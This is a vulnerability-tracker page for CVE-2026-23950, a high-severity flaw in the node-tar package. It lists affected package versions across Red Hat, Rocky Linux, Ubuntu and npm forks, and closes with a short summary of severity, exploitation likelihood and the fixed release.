linux-sgx-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
linux-sgx-debugsource
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-common
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-enclave-devel-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-libs
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-libs-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-mpa
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-mpa-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-pccs
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-pccs-admin
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-pccs-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-pckid-tool
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
sgx-pckid-tool-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
tdx-attest-libs-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
tdx-qgs
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
tdx-qgs-debuginfo
Red Hat:enterprise_linux:10.2
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
linux-sgx
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
linux-sgx-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
linux-sgx-debugsource
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-common
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-enclave-devel-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-libs
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-libs-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-mpa
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-mpa-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-pccs
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-pccs-admin
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-pccs-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-pckid-tool
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
sgx-pckid-tool-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
tdx-attest-libs-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
tdx-qgs
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
tdx-qgs-debuginfo
Red Hat:enterprise_linux:9::appstream
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
linux-sgx
Rocky Linux:10
From an advisory covering 5 CVEs
before 0:2.26-7.el10
0:2.26-7.el10
linux-sgx
Rocky Linux:9
From an advisory covering 5 CVEs
before 0:2.26-7.el9
0:2.26-7.el9
tar
Root:npm
before 6.1.11-aikido.10
6.1.11-aikido.107.5.1-aikido.124.4.19-aikido.36.2.1-aikido.87.4.3-aikido.86.2.0-aikido.106.1.11-aikido.47.5.1-aikido.96.1.11-aikido.56.1.11-aikido.64.4.19-aikido.47.5.1-aikido.106.2.1-aikido.96.1.15-aikido.26.1.15-aikido.36.1.11-aikido.76.1.14-aikido.46.1.11-aikido.86.2.1-aikido.104.4.19-aikido.57.4.3-aikido.96.2.1-aikido.116.1.11-aikido.94.4.19-aikido.67.4.3-aikido.106.1.14-aikido.57.5.1-aikido.114.4.19-aikido.76.2.1-aikido.126.1.14-aikido.67.4.3-aikido.116.1.13-aikido.66.1.13-aikido.76.1.13-aikido.87.4.3-aikido.124.4.13-aikido.16.2.0-aikido.116.1.15-aikido.4
@rootio/tar
Root:npm
before 6.2.1-root.io.2
6.2.1-root.io.27.4.3-root.io.26.2.0-root.io.46.2.1-root.io.36.2.0-root.io.57.5.1-root.io.47.4.3-root.io.36.2.1-root.io.47.5.1-root.io.57.4.3-root.io.46.2.0-root.io.66.2.1-root.io.56.2.1-root.io.66.2.0-root.io.77.4.3-root.io.57.5.1-root.io.66.2.1-root.io.77.4.3-root.io.67.5.1-root.io.76.2.0-root.io.87.4.3-root.io.77.5.1-root.io.86.2.0-root.io.96.1.11-root.io.36.1.11-root.io.104.4.19-root.io.27.5.1-root.io.124.4.19-root.io.36.2.1-root.io.87.4.3-root.io.86.2.0-root.io.106.1.11-root.io.47.5.1-root.io.96.1.11-root.io.56.1.11-root.io.64.4.19-root.io.47.5.1-root.io.106.2.1-root.io.96.1.15-root.io.26.1.15-root.io.36.1.11-root.io.76.1.14-root.io.46.1.11-root.io.86.2.1-root.io.104.4.19-root.io.57.4.3-root.io.96.2.1-root.io.116.1.11-root.io.94.4.19-root.io.67.4.3-root.io.106.1.14-root.io.57.5.1-root.io.114.4.19-root.io.76.2.1-root.io.126.1.14-root.io.67.4.3-root.io.116.1.13-root.io.66.1.13-root.io.76.1.13-root.io.87.4.3-root.io.124.4.13-root.io.16.2.0-root.io.116.1.15-root.io.4
node-tar
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.1.18-10.1.18-1ubuntu0.1~esm1
None known
node-tar
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.3-21.0.3-2ubuntu0.1~esm1
None known
node-tar
Ubuntu:18.04:LTS
All versions, plus listed versions
2.2.1-1
None known
node-tar
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1
None known
node-tar
Ubuntu:22.04:LTS
All versions, plus listed versions
6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1
None known
node-tar
Ubuntu:24.04:LTS
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3
None known
node-tar
Ubuntu:25.10
All versions, plus listed versions
6.2.1+~cs7.0.8-1
None known
node-tar
Ubuntu:26.10
All versions, plus listed versions
6.2.1+ds1+~cs6.1.13-107.5.22+~4.0.1-1
None known
node-tar
Ubuntu:26.04:LTS
All versions, plus listed versions
6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10
None known

History

History
RecordedChangedSources
affected
facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-23950 is a high vulnerability (CVSS 8.8) in Isaacs Node-tar, published January 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 18th percentile. Fixed in tar 7.5.4.

References

Show 53 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open